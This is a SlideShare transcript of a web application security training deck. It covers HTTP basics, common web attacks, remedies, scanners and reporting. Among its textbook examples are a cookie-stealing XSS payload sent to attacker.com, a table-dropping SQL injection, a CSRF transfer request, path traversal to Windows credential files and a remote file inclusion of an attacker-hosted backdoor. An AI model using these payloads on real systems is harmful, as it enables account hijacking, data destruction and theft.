Pentesting web applications

15,261 views

Published on

Published in: Technology
0 Comments
11 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
15,261
On SlideShare
0
From Embeds
0
Number of Embeds
3,829
Actions
Shares
0
Downloads
363
Comments
0
Likes
11
Embeds 0
No embeds

No notes for slide
  • Examples Someone reading the contents of a web order form with your Visa and other personal information Someone might also alter the shipping address to themselves.
  • Pentesting web applications

    1. 1. Web Application Security Satish B satishb3@hotmail.com http://www.securitylearn.net
    2. 2. Web Application Security Is it only Hacking ? No http://www.securitylearn.net
    3. 3. Web Application Security http://www.securitylearn.net
    4. 4. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
    5. 5. URI The Request-URI is a Uniform Resource Identifier It identifies the resource upon which to apply the request. http://www.address.edu:1234/path/subdir/file.ext protocol host port Files and resource  hostnames are case-insensitive  80 is the default port http://www.securitylearn.net
    6. 6. HTTP To understand web we need to know about HTTP – Hyper text transfer protocol. Application Layer Protocol Uses TCP as its transport mechanism Core Communication Protocol to access web Message based Model  Client Message – Request  Server Message – Response Stateless  Server does not maintain user information for every request Cookies were introduced to make it stateful http://www.securitylearn.net
    7. 7. HTTP Transaction http://www.securitylearn.net
    8. 8. HTTP Message Types HTTP messages consist of requests from client to server and responses from server to client. Both types of message consist of  start-line (a request-line or a status-line)  zero or more header-fields (also known as "headers"),  an empty line (i.e., a line with nothing preceding the CRLF) indicating the end of the header fields,  and (possibly) a message-body. http://www.securitylearn.net
    9. 9. HTTP RequestRequest Line + Headers + Empty Line Sample GET /books/search.asp?q=wahh HTTP/1.1 Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg,application/xshockwaveflash, application/vnd.msexcel,application/vnd.mspowerpoint, application/msword, */* Accept-Language: en-gb,en-us; Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: www.example.comRequest Line = Method + Resource Location + HTTP Version http://www.securitylearn.net
    10. 10. HTTP RequestRequest Line + Headers + Empty Line + Body Sample POST /books/search.asp HTTP/1.1 Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg,application/xshockwaveflash, application/vnd.msexcel,application/vnd.mspowerpoint, application/msword, */* Accept-Language: en-gb,en-us; Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: www.example.com Content-Length: 10 q=WahhRequest Line = Method + Resource Location + HTTP Version http://www.securitylearn.net
    11. 11. HTTP ResponseResponse Line + Headers + Empty Line + Body Sample HTTP/1.1 200 OK Date: Thu, 30 Jun 2011 13:49:37 GMT Server: IBM_HTTP_SERVER/1.3.26.2 Apache/1.3.26 (Unix) Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Content-Length: 24246 <!DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”> <html lang=”en”> <head> …Response Line = HTTP Version + Response Code http://www.securitylearn.net
    12. 12. HTTP Methods GET  Retrieve resources POST  Performing actions HEAD  To check the existence of a resource TRACE  Diagnostic purposes OPTIONS  To find HTTP methods that are available for a resource PUT  To upload a resource to the server DELETE  To delete a resource on the server http://www.securitylearn.net
    13. 13. HTTP Methods Safe Methods – Retrieve information and should not change server state  GET  HEAD  TRACE  OPTIONS Unsafe Methods – Make changes to the server state  PUT  POST  DELETE http://www.securitylearn.net
    14. 14. HTTP Header-Fields HTTP header-fields include  general-headers  request-headers  response-headers  content-headers Each header-field consists of a name followed by a colon and the field value http://www.securitylearn.net
    15. 15. Security Issues In HTTP Privacy  Anyone can see content Integrity  Someone might alter content Authentication  Not clear who you are talking with http://www.securitylearn.net
    16. 16. HTTPS HTTP is unencrypted and insecure HTTPS uses a secure transport mechanism (SSL) Protects privacy and integrity of all data passing over network http://www.securitylearn.net
    17. 17. HTTPS Transaction http://www.securitylearn.net
    18. 18. TLS Basics TLS consists of two protocols Handshake protocol  Use public-key cryptography to establish a shared secret key between the client and the server Record protocol  Use the secret key established in the handshake protocol to protect communication between the client and the server We will focus on the handshake protocol http://www.securitylearn.net
    19. 19. Handshake Protocol Structure ClientHello ServerHello, [Certificate], [ServerKeyExchange], [CertificateRequest], ServerHelloDone [Certificate], ClientKeyExchange, [CertificateVerify] switch to negotiated cipher Finished switch to negotiated cipher Finished http://www.securitylearn.net
    20. 20. Proxy It mediates access between the client browser and the destination web server. When a browser has been configured to use a proxy  Browser sends all of its requests to the proxy  Proxy passes the requests to the relevant web servers  Proxy forwards the responses back to the browser Most proxies also provide additional services, including caching, authentication, and access control Proxy is a program which acts as a client & server. It modifies the request in between communication and maintain caches http://www.securitylearn.net
    21. 21. Encoding techniques Different representation of same data URL Encoding  Permitted characters in the URLs  %20 space UNICODE  Designed to support all the writing systems in the world  %u2215 / HTML Encoding  Represent problematic characters to safely incorporate in HTML page  &quot; & Base 64 Encoding  Encoding process input in blocks of 3 bytes  ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ VGhlIFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw== http://www.securitylearn.net
    22. 22. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
    23. 23. Profiling application To find resources on the server Web Spidering, web crawling Brute force – to discover hidden content Use search engines - site: google.com Gain application knowledge Identify server technologies Banner grabbing, Meta tags Tool :HttpPrint, Online: netcraft.com File Extensions  asp—Microsoft Active Server Pages  aspx—Microsoft ASP.NET  jsp—Java Server Pages  cfm—Cold Fusion  php—the PHP language http://www.securitylearn.net
    24. 24. Profiling application From session tokens  JSESSIONID—The Java Platform  ASPSESSIONID—Microsoft IIS server  ASP.NET_SessionId—Microsoft ASP.NET  CFID/CFTOKEN—Cold Fusion  PHPSESSID—PHP Identify Input locations Look for robots.txt file Error codes in the application Microsoft OLE DB Provider for ODBC Drivers (0x80004005) [DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied http://www.securitylearn.net
    25. 25. Profiling applicationRequest GET /books/search.asp?q=wahh HTTP/1.1 Accept-Language: en-gb,en-us; Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) Host: www.example.comResponse HTTP/1.1 200 OK Date: Thu, 30 Jun 2011 13:49:37 GMT Server: Apache/1.3.26 (Unix) Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US … http://www.securitylearn.net
    26. 26. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
    27. 27. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues, caching Attacking webserver http://www.securitylearn.net
    28. 28. Authentication What - Confirms the identity of a user Why - To protect web content Normally relies on username and password Authentication takes place with every browser-server interaction Types – HTTP integrated  Basic  Digest - hash  NTLM - Integrated windows Form-based  POST delivered parameters http://www.securitylearn.net
    29. 29. Authentication Client request 401 response Base 64 credentials Valid response Base 64 credentialsLogin Valid responseCredentials http://www.securitylearn.net
    30. 30. Attacking Authentication Try default accounts and password ex: admin/admin Capture credentials over HTTP - unencrypted channel Capture credentials passed in URLs Auto complete in login page Remember me Predictable usernames - numbers, emails Password requirements – length, allowed characters  Real attack – gawker Bruteforce attacks – Dictionary attack, search attack Account lockout Through error messages “User account not found” or “Password incorrect ” Change password without original http://www.securitylearn.net
    31. 31. Attacking Authentication Shoulder Surfing Forgot password functionality Forceful browsing – authentication not verified on server http://www.securitylearn.net
    32. 32. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    33. 33. Authorization What – Specifies access rights of a user Why - To access control web content/resources Normally relies on access control policies Authorization takes place with every browser-server interaction Types  Programmatic control – every user access stored in database  Roles based control – Roles contain different set of privileges and each user is assigned to one role http://www.securitylearn.net
    34. 34. Attacking Authorization Tampering parameters Ex: http://www.citibank.com/userprofile.php?user=satish Directly requesting the restricted resources Horizontal Escalation Vertical Escalation http://www.securitylearn.net
    35. 35. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    36. 36. Cryptography Cipher- Encryption, Decryption algorithms Transposition cipher - rearrange the letters in a word  help is ehpl‘ Substitution cipher - replacing a letter with a different letter  abc is bcd here replacing a letter by a following letter (a+1=b)  Symmetric Algorithms  Uses same key for encryption and decryption  Asymmetric Algorithms  Uses different keys for encryption and decryption  Steganography – hiding messages in images  Use of weak algorithms for https  SSL Testing – SSL digger  Use of weak Hashing algorithms  MD5 passwords – Rainbow tables http://www.securitylearn.net
    37. 37. Cryptography Weaknesses Use of weak algorithms for https SSL Testing – SSL digger Use of weak Hashing algorithms MD5 passwords – Rainbow tables http://www.tmto.org/pages/passwordtools/hashcracker/ PBKDF2 http://www.securitylearn.net
    38. 38. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    39. 39. Session Management Session id: is used to associate specific web page activity with a specific user so that sense of the state was prevented for the web application. May transmitted in  GET  Browser History  Server Logs  POST  Difficult to POST in every request  Cookie http://www.securitylearn.net
    40. 40. Breaking Sessions Secure flag HTTPOnly flag Static session – same session for the user on every login Randomness – SID strength, length Meaningful cookies - username in cookies Reusing cookies – login multiple times, Burp Sequencer SID in URL Persistent cookies Session timeout Session fixation Logout – does not expire session http://www.securitylearn.net
    41. 41. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    42. 42. Cross Site Scripting Breaks same origin policy A loophole in the application using which an attacker can inject malicious scripts into a page sent by your server. Browsers treat these injected scripts like any other script in the page Cross-Site” means: Foreign script sent via server to client  Attacker makes Web-Server deliver malicious script code  Malicious script is executed in Client’s Web Browser Scripting: Web Browsers can execute commands  Embedded in HTML page  Supports different languages (JavaScript, VBScript, ActiveX, etc.)  Most prominent: JavaScriptTypes  Stored XSS  Reflective XSS  DOM based XSS http://www.securitylearn.net
    43. 43. Cross Site Scripting DOM based XSS  If a piece of JavaScript access the URL request parameters and use that information to write a html content to its own page with out html encoding Reflective XSS  Non-persistent  when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. Stored XSS  Persistent  when data provided to a web application by a user is first stored persistently on the server (in a database, file system, or other location), and later displayed to users in a web page without being encoded using HTML entities  Ex: Blogs, Comments, Job Postings http://www.securitylearn.net
    44. 44. Cross Site Scripting Client browser sends an error message to the web server. https://example.com/error.php?message=Sorry%2c+an +error+occurred The error message is “Reflected” back from the Web server to the client in a web page. <p>Sorry, an error occurred.</p> We can replace the error with JavaScript https://example.com/error.php?message=<script>alert(‘xss’);</script> http://www.securitylearn.net
    45. 45. Anatomy of XSS User logs into legitimate site. Site sends user authentication cookie. Attacker sends XSS attack containing injected code to user.https://example.com/error.php?message=<img src=‘http://attacker.com/’+document.cookie/> User clicks on XSS link in email, web, IM. Browser contacts vulnerable URL at legitimate site. Legitimate site returns injected code in web page. Browser runs injected code, which sends cookies to the attacker.com. The attacker monitors requests to attacker.com and captures the user cookie Attacker uses cookie to authenticate to legitimate site as the user. http://www.securitylearn.net
    46. 46. Cross Site Scripting Impact Hijack User accounts  Steal cookies  Steal Credentials Modify Web pages – Defacement  Company will lost public image  Lost money & Customers Record Keystrokes from the browser Steal clipboard data Execute any command at the client machine Cause denial of service – crash browser Attacker can do anything a user can do on his machine http://www.securitylearn.net
    47. 47. XSS Remedy Validate Input  Input data contains only a certain permitted set of characters  Choose white list  Perform server side validation Encode Output  If application copies user input in the responses, this data should be encoded properly using HTML encoding Ex: Escape & < > " as &amp; &lt; &gt; &quot; '  Mark session cookies as HTTPOnly to protect them from stealing http://www.securitylearn.net
    48. 48. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    49. 49. SQL Injection Every web application uses a database to store information SQL is used to mange information in the database User-supplied data is incorporated into SQL statement  Unsafe way – SQL injection  Safe way – Secure A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. This alters the execution behaviour of the backend query and allows an attacker to execute unauthorized SQL commands. Types  Error based SQLi  Blind SQLi – Time based delays, Union Queries TOOLS: SQLMap, SQLNinja, Absinthe http://www.securitylearn.net
    50. 50. SQL Injection Classified based on data retrieval  Inbound  Error Based data retrieval  Outbound  Direct connection to the database or communication through other channel  Inference  Data extraction in Blind SQL injection http://www.securitylearn.net
    51. 51. SQL Injection Example Books catalog – allows a user to search for a book by author name https://example.com/error.php?authorname=James The backend query to retrieve the books details is SELECT title,year FROM books WHERE author = ‘James’ Result : Web site displays the list of books written by James http://www.securitylearn.net
    52. 52. SQL Injection Example If an attacker injects a SQL interpreted character in the input it alters the meaning of the back end query https://example.com/error.php?authorname=O’Reilly The query becomes SELECT title,year FROM books WHERE author = ‘O’Reilly’ Extra single quote in the SQL query breaks the syntax of the SQL statement. Result : Web site displays an error message Incorrect syntax near ‘Reilly’. Unclosed quotation mark before the character string ‘ http://www.securitylearn.net
    53. 53. SQL Injection Example Attacker injects an input which doesn’t break the syntax. https://example.com/error.php?authorname=James’ or 2=2–– The backend query becomes SELECT title,year FROM books WHERE author = ‘James’ or 2=2––’ Result : Web site displays the list of books written by James http://www.securitylearn.net
    54. 54. SQL Injection Example Attacker can inject dangerous SQL statements https://example.com/error.php?authorname=James’; drop table books;–– The backend query becomes SELECT title,year FROM books WHERE author = ‘James’ ; drop table books;–– Result : Web site displays the list of books written by James It deletes the books table from the database http://www.securitylearn.net
    55. 55. SQL Injection Impact Alter the database – Add new tables, delete existing tables, etc… Compromise user accounts by obtaining their passwords Collects sensitive data like credit card numbers, SSN, etc… Can access the files on the server Cause Denial of service by stopping the database Attacker can do anything a DBA can do http://www.securitylearn.net
    56. 56. SQL Injection Remedy Validate Input  Input data contains only a certain permitted set of characters  Choose white list  Perform server side validation Parameterized queries (show samples)  Also known as prepared statements  Define all the SQL statements first and then pass parameters  Attacker can not change the intent of the query Stored procedures also worksTo reduce the Impact  Store passwords in salted hash format  Connect to the database with Low privileged user http://www.securitylearn.net
    57. 57. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    58. 58. Cross Site Request Forgery Web applications uses cookie to keep track of user session Application sets a cookie in a user’s browser, the browser will automatically submit that cookie back to the application in every subsequent request. The browser submits the cookie regardless of whether the request originates from a link provided by the application itself or from a URL received from elsewhere, such as in an email or on another web site. A Cross-site request forgery hole is when a malicious site web site that causes the user’s browser to submit a request directly to the vulnerable application, to perform some unintended action that is beneficial to the attacker. TOOL : CSRFTester http://www.securitylearn.net
    59. 59. CSRF Example Bank website – Allows to transfer money from one account to other account Transaction page in the bank website contains the following code <form method=POST action=‘Transaction. asp’> <input type=text name=‘SourceAccount’ value=> <input type=text name=‘DestinationAccount’ value=> <input type=text name=‘Amount’ value=> … http://www.securitylearn.net
    60. 60. Anatomy of CSRF The user logged into the bank website User visits a malicious website which sends the following request <img src=http://bank.com/?SourceAccount=23456& DestinationAccount=attackeraccount&Amount=10000> The browser attaches bank.com cookies to the above request and send it to the server The application transfers the amount to the attacker account with out the user intervention. http://www.securitylearn.net
    61. 61. CSRF Remedy Reauthenticate user for every important transaction Use of CAPTCHA for sensitive transaction Random tokens in every request  It breaks the Brower back button feature  Implement random tokens at every transaction (POST requests)  Do not transmit tokens in the URLs  Validate the token on the server side http://www.securitylearn.net
    62. 62. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    63. 63. URL Redirection A URL Redirection is to bring the browser from one URL to another URL.  http://www.example.com/click.php?id=215&url=http://www.google.com Redirection to sites which install malware. Possible to perform phishing attacks. Possible to exploit browser vulnerabilities. http://www.securitylearn.net
    64. 64. Phishing Acquiring sensitive information (username, password and credit cards) by masquerading as a trusted website.Attack Scenario  Attacker convinces the victim to click on the link of fake login page which resembles a genuine login page.  Victim enters his credentials in fake login page that goes to attacker  Victim is then redirected to an error page or genuine website depending on attacker Social Engineering tool kit http://www.securitylearn.net
    65. 65. URL Redirection Remedy Validate user input properly. Create mapping for pages names on server and use mapped values in requests.  Ex: 1 – home.asp, 2 – index.asp URL: http://www.example.com/redirect.php?=1 http://www.securitylearn.net
    66. 66. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    67. 67. HTTP Response Splitting HTTP protocols:  Headers separated by a single CR or LF  Headers separated from the body by 2 CRs or LFs Attack Possibility:  When user data inserted in response headers.  Ex: Cookies, Location header…  Inject CRs and LFs in such manner that a second HTTP message is formed where only one was expected by the application.  CR LF Terminates the first response and forms the second response Used to deface web sites, poison cache and trigger cross-site scripting http://www.securitylearn.net
    68. 68. HTTP Response Splitting Original: http://www.mysite.com/default.aspx?user=a Modified: http://www.mysite.com/default.aspx?user=a %0D%0A%0D%0AHTTP/1.1 200 OK Response: HTTP/1.1 200 Ok Location: http://www.mysite.com/default.aspx?user=a HTTP/1.1 200 OK … http://www.securitylearn.net
    69. 69. HTTP Response Splitting Remedy Validate input properly. Do not insert user input in response headers. http://www.securitylearn.net
    70. 70. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    71. 71. File Upload When a user is able to upload a file which is not validated by the server, a potential exists to upload malicious code to the server and execute it remotely. If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. Web Shells  C99 shell  Pwn.jsp  Browser.asp Denial of service  Large files uploading Null Character (%00) attacks Client side validation http://www.securitylearn.net
    72. 72. File Upload Remedy Validate file names and implement a white list for allowed file extensions. Configure antivirus on web server for disk write events. Put a size limit on file upload. Perform checks on file header (MIME). Demo on Hex editors usage Demo & practical on web shells http://www.securitylearn.net
    73. 73. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    74. 74. Path Traversal Attacks Web applications reads from or write to file systems based on the user data supplied (file uploading and downloading) Un-validated input allows application to access files which are not intended for access Read server configurations files and source code http://www.abc.com/getimpage.aspx?file=logo.jpg  Extracts the value of the file parameter from the query string.  Appends this value to the prefix C:wahh-appimages.  Opens the file with this name.  Reads the file’s contents and returns it to the client. http://www.abc.com/getimpage.aspx?file=....boot.ini http://www.abc.com/getimpage.aspx?file=....windowsrepairsam http://www.securitylearn.net
    75. 75. File Inclusion Attacks Languages support the use of include files Code in the include file interpreted just as if it had been inserted at the location of the include directive. Include files are loaded from user input Remote file inclusions  PHP is more vulnerable  PHP include function accepts remote paths https://app.com/main.php?Country=US https://app.com/main.php?Country=http://attacker.com/backdoor Local file inclusions  Including other files on the same server  Normally files that the user does not have access http://www.securitylearn.net
    76. 76. Remedy Validate user input properly. Blacklist ../ characters. Run web server with low privileged user. http://www.securitylearn.net
    77. 77. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    78. 78. Server Configuration Issues Directory listings Source code disclosure Documents Caching WEBDAV methods Backup files for access Debug functionality Displaying Stack traces to the user http://www.securitylearn.net
    79. 79. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    80. 80. Attacking Web Server Popular web servers  Microsoft IIS  Apache  IBM WebSphere  Oracle WebLogic  Apache Tomcat  JBoss Un-patched software Test Scripts Denial of service attacks Buffer overflow attacks  Server Extenstions http://www.securitylearn.net
    81. 81. Common attacks Attacking Authentication Attacking Authorization Cryptography weaknesses Breaking Session management Cross site scripting SQL injection Cross site request forgery URL redirection HTTP Response splitting File upload Path traversal attacks Server configuration issues Attacking webserver http://www.securitylearn.net
    82. 82. OWASP Top 10 A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URL Access A9: Insufficient Transport Layer Protection A10: Unvalidated Redirects and Forwards http://www.securitylearn.net
    83. 83. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
    84. 84. Automated Tools Tools automate the ‘attack’ on the web server/database server. Send protocol specific requests to the server to test for common vulnerabilities How they work ?  Signature based Phases  Crawl  Audit (attack)  Report Tools  AppScan – IBM  WebInspect – HP  Accunetix  Vega… http://www.securitylearn.net
    85. 85. Automated Tools Good at  Testing for 100s of common vulnerabilities and mis-configurations that are impractical to test for manually  Regression testing of servers to ensure they stay secure – especially after activities like patching or new code deployment  Ability to schedule automated scanning/testing for off-production hours to avoid conflicts Not good at  Automated tools are most effective at ‘guessing’ and using known signatures to identify issues  Most applications are custom developed and complex in nature  Detailed exploits that require intelligent feedback and analysis  Can not find business logic bugs http://www.securitylearn.net
    86. 86. Automated Tools Problems  Testing can adversely impact a system being scanning (ex: filling database)  Performance issues and crashing can happen  The most rigorous testing usually requires special planning and may overload log files, set off IDS sensors and leave ‘junk’ application data  False positives & False Negatives. http://www.securitylearn.net
    87. 87. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
    88. 88. Risk Assessment Why Risk assessment ?  Prioritize tasks Likelihood  Probability of attack to happen  Ease of discovery  Easy of exploit Impact  Effect of the attack  Loss of confidentiality, Business damage, Financial damage Total Risk = Likelihood * Impact CVE standardhttps://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology http://www.securitylearn.net
    89. 89. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
    90. 90. Reports Documentation world - You must not only be able to do your job, but also provide written proof of how you’ve done it. To make it understandable to the organization (developers). Mostly PDF formats NDA – Non Disclosure Agreements Report  Who tested it?  Details  Disclaimers  Environment details (URLs)  Summary (Graphs)  Technical Details  Risk  Description,  Reproduction steps  Remediations http://www.securitylearn.net
    91. 91. Web Application Security Background  History, http, https… Information gathering  Platform details, application knowledge, domain knowledge… Manual testing  XSS, SQL Injection, CSRF… Tools  Scanners… Remediation  Suggestions… Documentation  Reports… Risk assessment http://www.securitylearn.net
    92. 92. Web Application Firewalls Blocks suspicious web requests depending on some known malicious pattern that is embedded in the request. Web Application Firewalls  Check for malicous input values  Check for modification of read-only parameters  Block requests or filter out parameters Can help to protect „old“ applications  No source code available  No know-how available  No time available No general solution  Usefulness depends on application  Not all applications can be protected  OWASP ESAPI – to filter input http://www.securitylearn.net
    93. 93. Advanced Technologies Web Services Flash Ajax Activex Controls Java Signed applets http://www.securitylearn.net
    94. 94. http://www.securitylearn.net

    ×